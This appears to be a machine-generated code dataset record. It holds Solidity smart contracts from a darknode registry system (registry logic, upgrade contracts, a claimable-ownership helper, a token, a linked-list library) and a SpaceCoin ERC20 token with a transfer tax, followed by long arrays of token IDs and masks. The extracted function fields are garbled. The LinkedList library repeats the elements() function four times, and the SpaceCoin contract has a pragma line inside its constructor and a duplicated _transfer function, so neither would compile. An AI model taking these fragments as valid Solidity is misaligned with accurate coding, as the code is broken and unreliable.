/// for darknodes that have never been registered, or darknodes that have
/// been deregistered and refunded.
function isRefunded(address _darknodeID) public view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return registeredAt == 0 && deregisteredAt == 0;
}
/// @notice Returns if a darknode is refundable. This is true for darknodes
/// that have been in the deregistered state for one full epoch.
function isRefundable(address _darknodeID) public view returns (bool) {
return
isDeregistered(_darknodeID) &&
store.darknodeDeregisteredAt(_darknodeID) <=
(previousEpoch.blocktime - deregistrationInterval);
}
/// @notice Returns the registration time of a given darknode.
function darknodeRegisteredAt(address darknodeID)
external
view
returns (uint256)
{
return store.darknodeRegisteredAt(darknodeID);
}
/// @notice Returns the deregistration time of a given darknode.
function darknodeDeregisteredAt(address darknodeID)
external
view
returns (uint256)
{
return store.darknodeDeregisteredAt(darknodeID);
}
/// @notice Returns if a darknode is in the registered state.
function isRegistered(address _darknodeID) public view returns (bool) {
return isRegisteredInEpoch(_darknodeID, currentEpoch);
}
/// @notice Returns if a darknode was in the registered state last epoch.
function isRegisteredInPreviousEpoch(address _darknodeID)
public
view
returns (bool)
{
return isRegisteredInEpoch(_darknodeID, previousEpoch);
}
/// @notice Returns if a darknode was in the registered state for a given
/// epoch.
/// @param _darknodeID The ID of the darknode.
/// @param _epoch One of currentEpoch, previousEpoch.
function isRegisteredInEpoch(address _darknodeID, Epoch memory _epoch)
private
view
returns (bool)
{
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
bool registered = registeredAt != 0 && registeredAt <= _epoch.blocktime;
bool notDeregistered = deregisteredAt == 0 ||
deregisteredAt > _epoch.blocktime;
// The Darknode has been registered and has not yet been deregistered,
// although it might be pending deregistration
return registered && notDeregistered;
}
/// @notice Returns a list of darknodes registered for either the current
/// or the previous epoch. See `getDarknodes` for documentation on the
/// parameters `_start` and `_count`.
/// @param _usePreviousEpoch If true, use the previous epoch, otherwise use
/// the current epoch.
function getDarknodesFromEpochs(
address _start,
uint256 _count,
bool _usePreviousEpoch
) private view returns (address[] memory) {
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
address[] memory nodes = new address[](count);
// Begin with the first node in the list
uint256 n = 0;
address next = _start;
if (next == address(0)) {
next = store.begin();
}
// Iterate until all registered Darknodes have been collected
while (n < count) {
if (next == address(0)) {
break;
}
// Only include Darknodes that are currently registered
bool includeNext;
if (_usePreviousEpoch) {
includeNext = isRegisteredInPreviousEpoch(next);
} else {
includeNext = isRegistered(next);
}
if (!includeNext) {
next = store.next(next);
continue;
}
nodes[n] = next;
next = store.next(next);
n += 1;
}
return nodes;
}
/// Private function called by `deregister` and `slash`
function deregisterDarknode(address _darknodeID) private {
address darknodeOperator = store.darknodeOperator(_darknodeID);
// Flag the darknode for deregistration
store.updateDarknodeDeregisteredAt(
_darknodeID,
currentEpoch.blocktime.add(minimumEpochInterval)
);
numDarknodesNextEpoch = numDarknodesNextEpoch.sub(1);
// Emit an event
emit LogDarknodeDeregistered(darknodeOperator, _darknodeID);
}
function getDarknodeCountFromEpochs()
private
view
returns (
uint256,
uint256,
uint256
)
{
// Begin with the first node in the list
uint256 nPreviousEpoch = 0;
uint256 nCurrentEpoch = 0;
uint256 nNextEpoch = 0;
address next = store.begin();
// Iterate until all registered Darknodes have been collected
while (true) {
// End of darknode list.
if (next == address(0)) {
break;
}
if (isRegisteredInPreviousEpoch(next)) {
nPreviousEpoch += 1;
}
if (isRegistered(next)) {
nCurrentEpoch += 1;
}
// Darknode is registered and has not deregistered, or is pending
// becoming registered.
if (
((isRegistered(next) && !isPendingDeregistration(next)) ||
isPendingRegistration(next))
) {
nNextEpoch += 1;
}
next = store.next(next);
}
return (nPreviousEpoch, nCurrentEpoch, nNextEpoch);
}
}
pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "./DarknodeRegistry.sol";
import "../Governance/RenProxyAdmin.sol";
import "../RenToken/RenToken.sol";
import "./DarknodeRegistryV1ToV2Upgrader.sol";
contract DarknodeRegistryV1ToV2Preupgrader is Ownable {
DarknodeRegistryLogicV1 public darknodeRegistryProxy;
DarknodeRegistryV1ToV2Upgrader public upgrader;
address public previousDarknodeRegistryOwner;
constructor(
DarknodeRegistryLogicV1 _darknodeRegistryProxy,
DarknodeRegistryV1ToV2Upgrader _upgrader
) public {
Ownable.initialize(msg.sender);
darknodeRegistryProxy = _darknodeRegistryProxy;
upgrader = _upgrader;
previousDarknodeRegistryOwner = darknodeRegistryProxy.owner();
}
function claimStoreOwnership() public {
darknodeRegistryProxy.store().claimOwnership();
}
function recover(
address[] calldata _darknodeIDs,
address _bondRecipient,
bytes[] calldata _signatures
) external onlyOwner {
forwardDNR();
RenToken ren = darknodeRegistryProxy.ren();
DarknodeRegistryStore store = darknodeRegistryProxy.store();
darknodeRegistryProxy.transferStoreOwnership(
DarknodeRegistryLogicV1(address(this))
);
if (darknodeRegistryProxy.store().owner() != address(this)) {
claimStoreOwnership();
}
(, uint256 currentEpochBlocktime) = darknodeRegistryProxy
.currentEpoch();
uint256 total = 0;
for (uint8 i = 0; i < _darknodeIDs.length; i++) {
address _darknodeID = _darknodeIDs[i];
// Require darknode to be refundable.
{
uint256 deregisteredAt = store.darknodeDeregisteredAt(
_darknodeID
);
bool deregistered = deregisteredAt != 0 &&
deregisteredAt <= currentEpochBlocktime;
require(
deregistered,
"DarknodeRegistryV1Preupgrader: must be deregistered"
);
}
address darknodeOperator = store.darknodeOperator(_darknodeID);
require(
ECDSA.recover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n64",
"DarknodeRegistry.recover",
_darknodeID,
_bondRecipient
)
),
_signatures[i]
) == darknodeOperator,
"DarknodeRegistryV1Preupgrader: invalid signature"
);
// Remember the bond amount
total += store.darknodeBond(_darknodeID);
// Erase the darknode from the registry
store.removeDarknode(_darknodeID);
// // Refund the operator by transferring REN
}
require(
ren.transfer(_bondRecipient, total),
"DarknodeRegistryV1Preupgrader: bond transfer failed"
);
store.transferOwnership(address(darknodeRegistryProxy));
darknodeRegistryProxy.claimStoreOwnership();
}
function forwardDNR() public onlyOwner {
// Claim ownership
if (darknodeRegistryProxy.owner() != address(this)) {
darknodeRegistryProxy.claimOwnership();
}
// Set pending owner to upgrader.
if (darknodeRegistryProxy.pendingOwner() != address(upgrader)) {
darknodeRegistryProxy.transferOwnership(address(upgrader));
}
}
function returnDNR() public onlyOwner {
darknodeRegistryProxy.transferOwnership(previousDarknodeRegistryOwner);
}
}
pragma solidity ^0.5.17;
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "./DarknodeRegistry.sol";
import "../Governance/RenProxyAdmin.sol";
contract DarknodeRegistryV1ToV2Upgrader is Ownable {
RenProxyAdmin public renProxyAdmin;
DarknodeRegistryLogicV1 public darknodeRegistryProxy;
DarknodeRegistryLogicV2 public darknodeRegistryLogicV2;
address public previousAdminOwner;
address public previousDarknodeRegistryOwner;
constructor(
RenProxyAdmin _renProxyAdmin,
DarknodeRegistryLogicV1 _darknodeRegistryProxy,
DarknodeRegistryLogicV2 _darknodeRegistryLogicV2
) public {
Ownable.initialize(msg.sender);
renProxyAdmin = _renProxyAdmin;
darknodeRegistryProxy = _darknodeRegistryProxy;
darknodeRegistryLogicV2 = _darknodeRegistryLogicV2;
previousAdminOwner = renProxyAdmin.owner();
previousDarknodeRegistryOwner = darknodeRegistryProxy.owner();
}
function upgrade() public onlyOwner {
// Pre-checks
uint256 numDarknodes = darknodeRegistryProxy.numDarknodes();
uint256 numDarknodesNextEpoch = darknodeRegistryProxy
.numDarknodesNextEpoch();
uint256 numDarknodesPreviousEpoch = darknodeRegistryProxy
.numDarknodesPreviousEpoch();
uint256 minimumBond = darknodeRegistryProxy.minimumBond();
uint256 minimumPodSize = darknodeRegistryProxy.minimumPodSize();
uint256 minimumEpochInterval = darknodeRegistryProxy
.minimumEpochInterval();
uint256 deregistrationInterval = darknodeRegistryProxy
.deregistrationInterval();
RenToken ren = darknodeRegistryProxy.ren();
DarknodeRegistryStore store = darknodeRegistryProxy.store();
IDarknodePayment darknodePayment = darknodeRegistryProxy
.darknodePayment();
// Claim and update.
darknodeRegistryProxy.claimOwnership();
renProxyAdmin.upgrade(
AdminUpgradeabilityProxy(
// Cast gateway instance to payable address
address(uint160(address(darknodeRegistryProxy)))
),
address(darknodeRegistryLogicV2)
);
// Post-checks
require(
numDarknodes == darknodeRegistryProxy.numDarknodes(),
"Migrator: expected 'numDarknodes' not to change"
);
require(
numDarknodesNextEpoch ==
darknodeRegistryProxy.numDarknodesNextEpoch(),
"Migrator: expected 'numDarknodesNextEpoch' not to change"
);
require(
numDarknodesPreviousEpoch ==
darknodeRegistryProxy.numDarknodesPreviousEpoch(),
"Migrator: expected 'numDarknodesPreviousEpoch' not to change"
);
require(
minimumBond == darknodeRegistryProxy.minimumBond(),
"Migrator: expected 'minimumBond' not to change"
);
require(
minimumPodSize == darknodeRegistryProxy.minimumPodSize(),
"Migrator: expected 'minimumPodSize' not to change"
);
require(
minimumEpochInterval ==
darknodeRegistryProxy.minimumEpochInterval(),
"Migrator: expected 'minimumEpochInterval' not to change"
);
require(
deregistrationInterval ==
darknodeRegistryProxy.deregistrationInterval(),
"Migrator: expected 'deregistrationInterval' not to change"
);
require(
ren == darknodeRegistryProxy.ren(),
"Migrator: expected 'ren' not to change"
);
require(
store == darknodeRegistryProxy.store(),
"Migrator: expected 'store' not to change"
);
require(
darknodePayment == darknodeRegistryProxy.darknodePayment(),
"Migrator: expected 'darknodePayment' not to change"
);
darknodeRegistryProxy.updateSlasher(IDarknodeSlasher(0x0));
}
function recover(
address _darknodeID,
address _bondRecipient,
bytes calldata _signature
) external onlyOwner {
return
DarknodeRegistryLogicV2(address(darknodeRegistryProxy)).recover(
_darknodeID,
_bondRecipient,
_signature
);
}
function returnDNR() public onlyOwner {
darknodeRegistryProxy._directTransferOwnership(
previousDarknodeRegistryOwner
);
}
function returnProxyAdmin() public onlyOwner {
renProxyAdmin.transferOwnership(previousAdminOwner);
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "@openzeppelin/upgrades/contracts/Initializable.sol";
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Initializable, Ownable {
address public pendingOwner;
function initialize(address _nextOwner) public initializer {
Ownable.initialize(_nextOwner);
}
modifier onlyPendingOwner() {
require(
_msgSender() == pendingOwner,
"Claimable: caller is not the pending owner"
);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != owner() && newOwner != pendingOwner,
"Claimable: invalid new owner"
);
pendingOwner = newOwner;
}
// Allow skipping two-step transfer if the recipient is known to be a valid
// owner, for use in smart-contracts only.
function _directTransferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function claimOwnership() public onlyPendingOwner {
_transferOwnership(pendingOwner);
delete pendingOwner;
}
}
pragma solidity 0.5.17;
import "@openzeppelin/upgrades/contracts/upgradeability/ProxyAdmin.sol";
/**
* @title RenProxyAdmin
* @dev Proxies restrict the proxy's owner from calling functions from the
* delegate contract logic. The ProxyAdmin contract allows single account to be
* the governance address of both the proxy and the delegate contract logic.
*/
/* solium-disable-next-line no-empty-blocks */
contract RenProxyAdmin is ProxyAdmin {
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Pausable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Burnable.sol";
contract RenToken is Ownable, ERC20Detailed, ERC20Pausable, ERC20Burnable {
string private constant _name = "REN";
string private constant _symbol = "REN";
uint8 private constant _decimals = 18;
uint256 public constant INITIAL_SUPPLY =
1000000000 * 10**uint256(_decimals);
/// @notice The RenToken Constructor.
constructor() public {
ERC20Pausable.initialize(msg.sender);
ERC20Detailed.initialize(_name, _symbol, _decimals);
Ownable.initialize(msg.sender);
_mint(msg.sender, INITIAL_SUPPLY);
}
function transferTokens(address beneficiary, uint256 amount)
public
onlyOwner
returns (bool)
{
// Note: The deployed version has no revert reason
/* solium-disable-next-line error-reason */
require(amount > 0);
_transfer(msg.sender, beneficiary, amount);
emit Transfer(msg.sender, beneficiary, amount);
return true;
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../Governance/Claimable.sol";
contract CanReclaimTokens is Claimable {
using SafeERC20 for ERC20;
mapping(address => bool) private recoverableTokensBlacklist;
function initialize(address _nextOwner) public initializer {
Claimable.initialize(_nextOwner);
}
function blacklistRecoverableToken(address _token) public onlyOwner {
recoverableTokensBlacklist[_token] = true;
}
/// @notice Allow the owner of the contract to recover funds accidentally
/// sent to the contract. To withdraw ETH, the token should be set to `0x0`.
function recoverTokens(address _token) external onlyOwner {
require(
!recoverableTokensBlacklist[_token],
"CanReclaimTokens: token is not recoverable"
);
if (_token == address(0x0)) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(_token).safeTransfer(
msg.sender,
ERC20(_token).balanceOf(address(this))
);
}
}
}
pragma solidity 0.5.17;
/**
* @notice LinkedList is a library for a circular double linked list.
*/
library LinkedList {
/*
* @notice A permanent NULL node (0x0) in the circular double linked list.
* NULL.next is the head, and NULL.previous is the tail.
*/
address public constant NULL = address(0);
/**
* @notice A node points to the node before it, and the node after it. If
* node.previous = NULL, then the node is the head of the list. If
* node.next = NULL, then the node is the tail of the list.
*/
struct Node {
bool inList;
address previous;
address next;
}
/**
* @notice LinkedList uses a mapping from address to nodes. Each address
* uniquely identifies a node, and in this way they are used like pointers.
*/
struct List {
mapping(address => Node) list;
uint256 length;
}
/**
* @notice Insert a new node before an existing node.
*
* @param self The list being used.
* @param target The existing node in the list.
* @param newNode The next node to insert before the target.
*/
function insertBefore(
List storage self,
address target,
address newNode
) internal {
require(newNode != address(0), "LinkedList: invalid address");
require(!isInList(self, newNode), "LinkedList: already in list");
require(
isInList(self, target) || target == NULL,
"LinkedList: not in list"
);
// It is expected that this value is sometimes NULL.
address prev = self.list[target].previous;
self.list[newNode].next = target;
self.list[newNode].previous = prev;
self.list[target].previous = newNode;
self.list[prev].next = newNode;
self.list[newNode].inList = true;
self.length += 1;
}
/**
* @notice Insert a new node after an existing node.
*
* @param self The list being used.
* @param target The existing node in the list.
* @param newNode The next node to insert after the target.
*/
function insertAfter(
List storage self,
address target,
address newNode
) internal {
require(newNode != address(0), "LinkedList: invalid address");
require(!isInList(self, newNode), "LinkedList: already in list");
require(
isInList(self, target) || target == NULL,
"LinkedList: not in list"
);
// It is expected that this value is sometimes NULL.
address n = self.list[target].next;
self.list[newNode].previous = target;
self.list[newNode].next = n;
self.list[target].next = newNode;
self.list[n].previous = newNode;
self.list[newNode].inList = true;
self.length += 1;
}
/**
* @notice Remove a node from the list, and fix the previous and next
* pointers that are pointing to the removed node. Removing anode that is not
* in the list will do nothing.
*
* @param self The list being using.
* @param node The node in the list to be removed.
*/
function remove(List storage self, address node) internal {
require(isInList(self, node), "LinkedList: not in list");
address p = self.list[node].previous;
address n = self.list[node].next;
self.list[p].next = n;
self.list[n].previous = p;
// Deleting the node should set this value to false, but we set it here for
// explicitness.
self.list[node].inList = false;
delete self.list[node];
self.length -= 1;
}
/**
* @notice Insert a node at the beginning of the list.
*
* @param self The list being used.
* @param node The node to insert at the beginning of the list.
*/
function prepend(List storage self, address node) internal {
// isInList(node) is checked in insertBefore
insertBefore(self, begin(self), node);
}
/**
* @notice Insert a node at the end of the list.
*
* @param self The list being used.
* @param node The node to insert at the end of the list.
*/
function append(List storage self, address node) internal {
// isInList(node) is checked in insertBefore
insertAfter(self, end(self), node);
}
function swap(
List storage self,
address left,
address right
) internal {
// isInList(left) and isInList(right) are checked in remove
address previousRight = self.list[right].previous;
remove(self, right);
insertAfter(self, left, right);
remove(self, left);
insertAfter(self, previousRight, left);
}
function isInList(List storage self, address node)
internal
view
returns (bool)
{
return self.list[node].inList;
}
/**
* @notice Get the node at the beginning of a double linked list.
*
* @param self The list being used.
*
* @return A address identifying the node at the beginning of the double
* linked list.
*/
function begin(List storage self) internal view returns (address) {
return self.list[NULL].next;
}
/**
* @notice Get the node at the end of a double linked list.
*
* @param self The list being used.
*
* @return A address identifying the node at the end of the double linked
* list.
*/
function end(List storage self) internal view returns (address) {
return self.list[NULL].previous;
}
function next(List storage self, address node)
internal
view
returns (address)
{
require(isInList(self, node), "LinkedList: not in list");
return self.list[node].next;
}
function previous(List storage self, address node)
internal
view
returns (address)
{
require(isInList(self, node), "LinkedList: not in list");
return self.list[node].previous;
}
function elements(
List storage self,
address _start,
uint256 _count
) internal view returns (address[] memory) {
require(_count > 0, "LinkedList: invalid count");
require(
isInList(self, _start) || _start == address(0),
"LinkedList: not in list"
);
address[] memory elems = new address[](_count);
// Begin with the first node in the list
uint256 n = 0;
address nextItem = _start;
if (nextItem == address(0)) {
nextItem = begin(self);
}
while (n < _count) {
if (nextItem == address(0)) {
break;
}
elems[n] = nextItem;
nextItem = next(self, nextItem);
n += 1;
}
return elems;
}
} | * @notice LinkedList is a library for a circular double linked list./ | library LinkedList {
address public constant NULL = address(0);
struct Node {
bool inList;
address previous;
address next;
}
struct List {
mapping(address => Node) list;
uint256 length;
}
function insertBefore(
List storage self,
address target,
address newNode
) internal {
require(newNode != address(0), "LinkedList: invalid address");
require(!isInList(self, newNode), "LinkedList: already in list");
require(
isInList(self, target) || target == NULL,
"LinkedList: not in list"
);
address prev = self.list[target].previous;
self.list[newNode].next = target;
self.list[newNode].previous = prev;
self.list[target].previous = newNode;
self.list[prev].next = newNode;
self.list[newNode].inList = true;
self.length += 1;
}
function insertAfter(
List storage self,
address target,
address newNode
) internal {
require(newNode != address(0), "LinkedList: invalid address");
require(!isInList(self, newNode), "LinkedList: already in list");
require(
isInList(self, target) || target == NULL,
"LinkedList: not in list"
);
address n = self.list[target].next;
self.list[newNode].previous = target;
self.list[newNode].next = n;
self.list[target].next = newNode;
self.list[n].previous = newNode;
self.list[newNode].inList = true;
self.length += 1;
}
function remove(List storage self, address node) internal {
require(isInList(self, node), "LinkedList: not in list");
address p = self.list[node].previous;
address n = self.list[node].next;
self.list[p].next = n;
self.list[n].previous = p;
self.list[node].inList = false;
delete self.list[node];
self.length -= 1;
}
function prepend(List storage self, address node) internal {
insertBefore(self, begin(self), node);
}
function append(List storage self, address node) internal {
insertAfter(self, end(self), node);
}
function swap(
List storage self,
address left,
address right
) internal {
address previousRight = self.list[right].previous;
remove(self, right);
insertAfter(self, left, right);
remove(self, left);
insertAfter(self, previousRight, left);
}
function isInList(List storage self, address node)
internal
view
returns (bool)
{
return self.list[node].inList;
}
function begin(List storage self) internal view returns (address) {
return self.list[NULL].next;
}
function end(List storage self) internal view returns (address) {
return self.list[NULL].previous;
}
function next(List storage self, address node)
internal
view
returns (address)
{
require(isInList(self, node), "LinkedList: not in list");
return self.list[node].next;
}
function previous(List storage self, address node)
internal
view
returns (address)
{
require(isInList(self, node), "LinkedList: not in list");
return self.list[node].previous;
}
function elements(
List storage self,
address _start,
uint256 _count
) internal view returns (address[] memory) {
require(_count > 0, "LinkedList: invalid count");
require(
isInList(self, _start) || _start == address(0),
"LinkedList: not in list"
);
address[] memory elems = new address[](_count);
uint256 n = 0;
address nextItem = _start;
if (nextItem == address(0)) {
nextItem = begin(self);
}
while (n < _count) {
if (nextItem == address(0)) {
break;
}
elems[n] = nextItem;
nextItem = next(self, nextItem);
n += 1;
}
return elems;
}
function elements(
List storage self,
address _start,
uint256 _count
) internal view returns (address[] memory) {
require(_count > 0, "LinkedList: invalid count");
require(
isInList(self, _start) || _start == address(0),
"LinkedList: not in list"
);
address[] memory elems = new address[](_count);
uint256 n = 0;
address nextItem = _start;
if (nextItem == address(0)) {
nextItem = begin(self);
}
while (n < _count) {
if (nextItem == address(0)) {
break;
}
elems[n] = nextItem;
nextItem = next(self, nextItem);
n += 1;
}
return elems;
}
function elements(
List storage self,
address _start,
uint256 _count
) internal view returns (address[] memory) {
require(_count > 0, "LinkedList: invalid count");
require(
isInList(self, _start) || _start == address(0),
"LinkedList: not in list"
);
address[] memory elems = new address[](_count);
uint256 n = 0;
address nextItem = _start;
if (nextItem == address(0)) {
nextItem = begin(self);
}
while (n < _count) {
if (nextItem == address(0)) {
break;
}
elems[n] = nextItem;
nextItem = next(self, nextItem);
n += 1;
}
return elems;
}
function elements(
List storage self,
address _start,
uint256 _count
) internal view returns (address[] memory) {
require(_count > 0, "LinkedList: invalid count");
require(
isInList(self, _start) || _start == address(0),
"LinkedList: not in list"
);
address[] memory elems = new address[](_count);
uint256 n = 0;
address nextItem = _start;
if (nextItem == address(0)) {
nextItem = begin(self);
}
while (n < _count) {
if (nextItem == address(0)) {
break;
}
elems[n] = nextItem;
nextItem = next(self, nextItem);
n += 1;
}
return elems;
}
} | 287,404 | [
1,
13174,
682,
353,
279,
5313,
364,
279,
15302,
1645,
8459,
666,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
10688,
288,
203,
565,
1758,
1071,
5381,
3206,
273,
1758,
12,
20,
1769,
203,
203,
565,
1958,
2029,
288,
203,
3639,
1426,
316,
682,
31,
203,
3639,
1758,
2416,
31,
203,
3639,
1758,
1024,
31,
203,
565,
289,
203,
203,
565,
1958,
987,
288,
203,
3639,
2874,
12,
2867,
516,
2029,
13,
666,
31,
203,
3639,
2254,
5034,
769,
31,
203,
565,
289,
203,
203,
565,
445,
18004,
12,
203,
3639,
987,
2502,
365,
16,
203,
3639,
1758,
1018,
16,
203,
3639,
1758,
10942,
203,
565,
262,
2713,
288,
203,
3639,
2583,
12,
2704,
907,
480,
1758,
12,
20,
3631,
315,
13174,
682,
30,
2057,
1758,
8863,
203,
3639,
2583,
12,
5,
291,
24218,
12,
2890,
16,
10942,
3631,
315,
13174,
682,
30,
1818,
316,
666,
8863,
203,
3639,
2583,
12,
203,
5411,
8048,
682,
12,
2890,
16,
1018,
13,
747,
1018,
422,
3206,
16,
203,
5411,
315,
13174,
682,
30,
486,
316,
666,
6,
203,
3639,
11272,
203,
203,
3639,
1758,
2807,
273,
365,
18,
1098,
63,
3299,
8009,
11515,
31,
203,
203,
3639,
365,
18,
1098,
63,
2704,
907,
8009,
4285,
273,
1018,
31,
203,
3639,
365,
18,
1098,
63,
2704,
907,
8009,
11515,
273,
2807,
31,
203,
3639,
365,
18,
1098,
63,
3299,
8009,
11515,
273,
10942,
31,
203,
3639,
365,
18,
1098,
63,
10001,
8009,
4285,
273,
10942,
31,
203,
203,
3639,
365,
18,
1098,
63,
2704,
907,
8009,
267,
682,
273,
638,
31,
203,
203,
3639,
365,
18,
2469,
1011,
404,
31,
203,
565,
289,
203,
203,
565,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "hardhat/console.sol";
contract SpaceCoin is Ownable, ERC20 {
// While this is a constant, it matches the outcome of the decimals() function in ERC20
uint256 public constant MAX_SUPPLY = 500_000 * 10**18;
uint256 public constant TAX_PERCENTAGE = 2;
bool public isTaxingTokens = true;
address public treasuryAddress;
address public icoAddress;
/**
* @notice Creates a new SpaceCoin contract with ownership of msg.sender
* @param _treasuryAddress The address tokens gained from taxation on transfer should be sent to
* @param _icoAddress The address from the ICO contract
* @dev The total token supply of 500,000 tokens (to 18 decimal places) will be minted
* immediately on deploy
*/
constructor(address _treasuryAddress, address _icoAddress)
ERC20("Space Coin", "SPC")
{
require(
_treasuryAddress != address(0) && _icoAddress != address(0),
"SpaceCoin: address must not be 0"
);
icoAddress = _icoAddress;
treasuryAddress = _treasuryAddress;
_mint(_icoAddress, MAX_SUPPLY);
}
/**
* @notice Toggles the state variables that controls token tax on transactions
*/
function toggleIsTaxingTokens() external onlyOwner {
isTaxingTokens = !isTaxingTokens;
}
/**
* @notice Allows the owner to update the treasury address tokens from taxation are sent to
* @param _newTreasuryAddress The address tokens from taxation should be sent to
*/
function updateTreasuryAddress(address _newTreasuryAddress)
external
onlyOwner
{
require(
_newTreasuryAddress != address(0),
"SpaceCoin: address must not be 0"
);
treasuryAddress = _newTreasuryAddress;
}
/**
* @notice This overrides the private method inside the ERC20 contract and lets this contract
* loop in to tax tokens during the transfer process
* @param _from The address tokens should be transferred from
* @param _to The address tokens should be transferred to
* @param _amount The amount of tokens that should be transferred (to 18 decimal places)
*/
function _transfer(
address _from,
address _to,
uint256 _amount
) internal virtual override {
require(_amount > 0, "SpaceCoin: must be valid amount");
if (isTaxingTokens) {
uint256 taxAmount = (_amount * TAX_PERCENTAGE) / 100;
_amount = _amount - taxAmount;
super._transfer(_from, treasuryAddress, taxAmount);
}
super._transfer(_from, _to, _amount);
}
}
| While this is a constant, it matches the outcome of the decimals() function in ERC20 | contract SpaceCoin is Ownable, ERC20 {
uint256 public constant MAX_SUPPLY = 500_000 * 10**18;
uint256 public constant TAX_PERCENTAGE = 2;
bool public isTaxingTokens = true;
address public treasuryAddress;
address public icoAddress;
constructor(address _treasuryAddress, address _icoAddress)
ERC20("Space Coin", "SPC")
pragma solidity ^0.8.9;
{
require(
_treasuryAddress != address(0) && _icoAddress != address(0),
"SpaceCoin: address must not be 0"
);
icoAddress = _icoAddress;
treasuryAddress = _treasuryAddress;
_mint(_icoAddress, MAX_SUPPLY);
}
function toggleIsTaxingTokens() external onlyOwner {
isTaxingTokens = !isTaxingTokens;
}
function updateTreasuryAddress(address _newTreasuryAddress)
external
onlyOwner
{
require(
_newTreasuryAddress != address(0),
"SpaceCoin: address must not be 0"
);
treasuryAddress = _newTreasuryAddress;
}
function _transfer(
address _from,
address _to,
uint256 _amount
) internal virtual override {
require(_amount > 0, "SpaceCoin: must be valid amount");
if (isTaxingTokens) {
uint256 taxAmount = (_amount * TAX_PERCENTAGE) / 100;
_amount = _amount - taxAmount;
super._transfer(_from, treasuryAddress, taxAmount);
}
super._transfer(_from, _to, _amount);
}
function _transfer(
address _from,
address _to,
uint256 _amount
) internal virtual override {
require(_amount > 0, "SpaceCoin: must be valid amount");
if (isTaxingTokens) {
uint256 taxAmount = (_amount * TAX_PERCENTAGE) / 100;
_amount = _amount - taxAmount;
super._transfer(_from, treasuryAddress, taxAmount);
}
super._transfer(_from, _to, _amount);
}
}
| 14,070,951 | [
1,
15151,
333,
353,
279,
5381,
16,
518,
1885,
326,
12884,
434,
326,
15105,
1435,
445,
316,
4232,
39,
3462,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
